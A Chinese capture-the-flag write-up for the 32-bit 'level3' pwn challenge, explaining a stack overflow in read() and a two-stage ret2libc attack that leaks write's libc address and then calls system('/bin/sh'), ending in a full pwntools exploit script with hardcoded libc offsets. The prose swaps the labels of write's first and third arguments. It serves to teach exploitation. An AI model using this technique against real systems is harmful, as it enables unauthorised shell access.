BUU刷题-Pwn-jarvisoj_level3(和攻防世界-Pwn-level3一样)

文章详细介绍了如何利用栈溢出漏洞攻破一个名为level3的程序。程序存在栈溢出条件,且无栈保护,允许通过两次栈溢出泄露libc函数地址并获取shell。首先,通过溢出泄露write函数地址,然后计算libc基址,最后构造ROP链调用system执行/bin/sh获得控制权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[[攻防世界-Pwn-level3]]

解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:[[Stack上函数传参]]
  3. libc地址:[[利用got表和plt表泄露数据]]
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
    获得shell或flag:[[调用libc中的system]]
学到的知识:

通过栈溢出将本来只可运行一次的溢出漏洞经行多次利用
[[一次调用多个函数的ROP链]]
学习到如何获得libc偏移:

  • 在线查询libc版本的网站:[https://libc.blukat.me/]
  • 一个python项目LibcSearcher[[LibcSearcher的使用]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file level3
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=level3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   69) Symbols       No    0   1level3

libc版本:
wp借鉴:

核心伪代码分析:

存在利用的的代码:

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  write(1, "Input:\n", 7u);
  return read(0, buf, 0x100u);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
分析:

是一个简单的输入且有回复的程序,其中return read(0, buf, 0x100u);可以输入大量字符,且程序未开启栈溢出保护,所以可以使用Read漏洞实现栈溢出,且该程序无后门函数需要先将计算机中的函数地址泄露出来,再进行攻击。所以需要用到两次Read栈溢出漏洞,第一次先泄露任意函数地址,且将返回地址设置为main(以便第二此利用漏洞),在获取函数地址后,计算出sytem和“/bin/sh”的地址,并第二次利用栈溢出漏洞。即可获得主机权限。

1. 泄露或修改内存数据

存在的漏洞利用点:return read(0, buf, 0x100u);
通过IDA获取溢出点:距离为0x8c

-00000088 buf             db 136 dup(?)
+00000000  s              db  4  dup(?)
+00000004  r              db  4  dup(?)

通过GDB获取libc库函数地址:
0x8048310: read@plt
0x8048340: write@plt
0x804A018:write@got

.got.plt:0804A018 off_804A018     dd offset write         ; DATA XREF: _write↑r
2. 劫持程序执行流程

首先计算出栈溢出的位置,再调用write函数输出函数地址,并且要在泄露地址后再次利用栈溢出漏洞。且该程序为32位,将参数布置在栈上即可。

因此第一次利用漏洞时的布栈结构为:
ebp + 4 | 调用write函数(write@plt)
| 存储调用函数后的返回地址(使用主函数地址或者漏洞所在地址)
| write的第3参数(1)-》输出流参数
| write的第2参数(write@got)-》write的地址
| write的第1参数(6)-》输出的字节数

在获取write函数地址后,通过资料查询,获取write函数,system函数,”/bin/sh“参数与基地址的偏移量,从而进行第二次布栈。

因此第二次利用漏洞时的布栈结构为:
ebp + 4 | 调用system函数(system_addr)
| 返回地址(第二次布栈不需返回地址)
| “/bin/sh”的地址(bin_sh_addr)

3. 获得shell
脚本:
from pwn import *
context(log_level='debug',arch='i386',os='linux')

pwnfile='./level3'
sh = process(pwnfile)
#sh=remote("111.200.241.244",54369)

elf = ELF(pwnfile)
#elf_lic = ELF('./libc_32.so.6')

rec1=b'Input:\n'
rec2=b'Hello, World!\n'
write_plt=elf.plt['write']
print("write_plt:",hex(write_plt))
write_got=elf.got['write']
main_addr=elf.symbols['main']

#gdb.attach(sh)

payload1=b'a'*0x8c+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(6)
sh.recvuntil(rec1)
sh.sendline(payload1)



write_addr=u32(sh.recv(4))
print("write:",hex(write_addr))

#远程
'''
base_addr=write_addr-0xd43c0
print("base_addr=:",hex(base_addr))

bin_sh_addr=base_addr+0x15902b
print("bin_sh_addr:",hex(bin_sh_addr))

system_addr=base_addr+0x3a940
print("system_addr:",hex(system_addr))
'''

#本地
base_addr=write_addr-0xd4d50
print("base_addr=:",hex(base_addr))

bin_sh_addr=base_addr+0x172b62
print("bin_sh_addr:",hex(bin_sh_addr))

system_addr=base_addr+0x27d00
print("system_addr:",hex(system_addr))

payload2=b'a'*0x8c+p32(system_addr)+p32(1)+p32(bin_sh_addr)
sh.send(payload2)


sh.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值